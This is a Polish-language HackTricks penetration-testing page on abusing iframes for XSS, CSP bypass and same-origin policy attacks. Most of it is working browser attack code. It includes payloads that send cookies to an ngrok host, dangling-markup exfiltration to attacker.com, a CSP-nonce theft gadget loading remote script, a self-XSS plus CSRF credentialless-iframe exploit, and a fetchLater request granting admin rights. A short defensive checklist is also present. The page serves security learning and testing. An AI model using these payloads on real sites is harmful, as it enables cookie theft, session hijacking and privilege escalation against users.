Iframes w XSS, CSP i SOP

Reading time: 11 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Iframes w XSS

Istnieją 3 sposoby na wskazanie zawartości strony w iframe:

  • Poprzez src wskazujący URL (URL może być cross origin lub same origin)
  • Poprzez src wskazujący zawartość za pomocą protokołu data:
  • Poprzez srcdoc wskazujący zawartość

Dostęp do zmiennych rodzica i dziecka

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak python3 -m http.server), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). Rodzic nie będzie mógł uzyskać dostępu do zmiennej secret wewnątrz żadnego iframe i tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do secret w oryginalnym oknie.
Zauważ, że if4 jest uważany za mający null origin.

Iframes z CSP

tip

Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który zapobiegałby wykonaniu JS.

Wartość self dla script-src nie pozwoli na wykonanie kodu JS przy użyciu protokołu data: lub atrybutu srcdoc.
Jednak nawet wartość none CSP pozwoli na wykonanie iframe, które umieszczają URL (pełny lub tylko ścieżkę) w atrybucie src.
Dlatego możliwe jest obejście CSP strony za pomocą:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Zauważ, że poprzedni CSP zezwala tylko na wykonanie skryptu inline.
Jednakże, tylko skrypty if1 i if2 będą wykonywane, ale tylko if1 będzie miało dostęp do tajemnicy rodzica.

Dlatego możliwe jest obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy script-src 'none'. To może potencjalnie być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie.

Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy script-src 'none'. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nowe (2023-2025) techniki omijania CSP z użyciem iframe

Społeczność badawcza nadal odkrywa kreatywne sposoby wykorzystywania iframe do pokonywania restrykcyjnych polityk. Poniżej znajdują się najbardziej znaczące techniki opublikowane w ciągu ostatnich kilku lat:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Gdy aplikacja odzwierciedla HTML, ale silny CSP blokuje wykonanie skryptów, można nadal wyciekować wrażliwe tokeny, wstrzykując atrybut <iframe name> z dangling. Gdy częściowy markup zostanie sparsowany, skrypt atakującego działający w innym pochodzeniu nawiguję ramkę do about:blank i odczytuje window.name, które teraz zawiera wszystko do następnego znaku cudzysłowu (na przykład token CSRF). Ponieważ żaden JavaScript nie działa w kontekście ofiary, atak zazwyczaj unika script-src 'none'. Minimalny PoC to:
html
<!-- Punkt wstrzyknięcia tuż przed wrażliwym <script> -->
<iframe name="//attacker.com/?">  <!-- atrybut celowo pozostawiony otwarty -->
javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → wyciekła wartość
  • Kradzież nonce za pomocą iframe o tym samym pochodzeniu (2024) – Nonce CSP nie są usuwane z DOM; są jedynie ukryte w DevTools. Jeśli atakujący może wstrzyknąć iframe o tym samym pochodzeniu (na przykład przez przesłanie HTML na stronę), ramka podrzędna może po prostu zapytać document.querySelector('[nonce]').nonce i stworzyć nowe węzły <script nonce>, które spełniają politykę, dając pełne wykonanie JavaScript mimo strict-dynamic. Następujący gadżet eskaluje wstrzyknięcie markup do XSS:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Przechwytywanie form-action (PortSwigger 2024) – Strona, która pomija dyrektywę form-action, może mieć swój formularz logowania przeadresowany z wstrzykniętego iframe lub inline HTML, tak aby menedżery haseł automatycznie wypełniały i przesyłały dane logowania do zewnętrznej domeny, nawet gdy obecny jest script-src 'none'. Zawsze uzupełniaj default-src o form-action!

Notatki obronne (szybka lista kontrolna)

  1. Zawsze wysyłaj wszystkie dyrektywy CSP, które kontrolują konteksty wtórne (form-action, frame-src, child-src, object-src itp.).
  2. Nie polegaj na tym, że nonce są tajne—używaj strict-dynamic i eliminuj punkty wstrzyknięcia.
  3. Gdy musisz osadzić nieufne dokumenty, używaj sandbox="allow-scripts allow-same-origin" bardzo ostrożnie (lub bez allow-same-origin, jeśli potrzebujesz tylko izolacji wykonania skryptów).
  4. Rozważ wdrożenie obrony w głębokości COOP+COEP; nowy atrybut <iframe credentialless> (§ poniżej) pozwala na to bez łamania osadzeń zewnętrznych.

Inne ładunki znalezione w dziczy

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Zawartość w iframe może być poddana dodatkowym ograniczeniom za pomocą atrybutu sandbox. Domyślnie ten atrybut nie jest stosowany, co oznacza, że nie ma żadnych ograniczeń.

Gdy jest używany, atrybut sandbox nakłada kilka ograniczeń:

  • Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
  • Każda próba przesłania formularzy jest blokowana.
  • Wykonywanie skryptów jest zabronione.
  • Dostęp do niektórych interfejsów API jest wyłączony.
  • Zapobiega interakcji linków z innymi kontekstami przeglądania.
  • Użycie wtyczek za pomocą <embed>, <object>, <applet> lub podobnych tagów jest zabronione.
  • Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.
  • Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupienie na kontrolkach formularza, są blokowane.

Tip: Nowoczesne przeglądarki obsługują szczegółowe flagi, takie jak allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation itd. Połącz je, aby przyznać tylko minimalne możliwości wymagane przez osadzoną aplikację.

Wartość atrybutu może być pozostawiona pusta (sandbox=""), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

Jak wyjaśniono w tym artykule, flaga credentialless w iframe jest używana do ładowania strony wewnątrz iframe bez wysyłania poświadczeń w żądaniu, zachowując jednocześnie politykę tego samego pochodzenia (SOP) ładowanej strony w iframe.

Od Chrome 110 (luty 2023) funkcja jest włączona domyślnie i specyfikacja jest standaryzowana w przeglądarkach pod nazwą anonymous iframe. MDN opisuje to jako: „mechanizm do ładowania iframe'ów zewnętrznych w nowej, efemerycznej partycji pamięci, aby żadne pliki cookie, localStorage ani IndexedDB nie były dzielone z prawdziwym pochodzeniem”. Konsekwencje dla atakujących i obrońców:

  • Skrypty w różnych iframe'ach bez poświadczeń wciąż dzielą to samo pochodzenie na najwyższym poziomie i mogą swobodnie wchodzić w interakcje za pośrednictwem DOM, co czyni ataki multi-iframe self-XSS wykonalnymi (zobacz PoC poniżej).
  • Ponieważ sieć jest pozbawiona poświadczeń, każde żądanie wewnątrz iframe działa efektywnie jako sesja nieautoryzowana – punkty końcowe chronione przed CSRF zazwyczaj zawodzą, ale publiczne strony, które można wyciekować za pośrednictwem DOM, wciąż są w zasięgu.
  • Wyskakujące okna generowane z iframe'a bez poświadczeń otrzymują implicitne rel="noopener", co łamie niektóre przepływy OAuth.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Przykład exploita: Self-XSS + CSRF

W tym ataku, atakujący przygotowuje złośliwą stronę internetową z 2 iframe'ami:

  • Iframe, który ładuje stronę ofiary z flagą credentialless z CSRF, która wywołuje XSS (Wyobraź sobie Self-XSS w nazwie użytkownika):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Inny iframe, który faktycznie ma zalogowanego użytkownika (bez flagi credentialless).

Następnie, z XSS możliwe jest uzyskanie dostępu do drugiego iframe'a, ponieważ mają tę samą SOP i kradzież ciasteczka, na przykład wykonując:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Jak wskazano w tym artykule, API fetchLater pozwala na skonfigurowanie żądania, które ma być wykonane później (po pewnym czasie). Dlatego można to wykorzystać, aby na przykład zalogować ofiarę w sesji atakującego (z użyciem Self-XSS), ustawić żądanie fetchLater (aby zmienić hasło bieżącego użytkownika na przykład) i wylogować się z sesji atakującego. Następnie ofiara loguje się w swojej własnej sesji, a żądanie fetchLater zostanie wykonane, zmieniając hasło ofiary na to ustawione przez atakującego.

W ten sposób, nawet jeśli URL ofiary nie może być załadowany w iframe (z powodu CSP lub innych ograniczeń), atakujący nadal może wykonać żądanie w sesji ofiary.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes w SOP

Sprawdź następujące strony:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks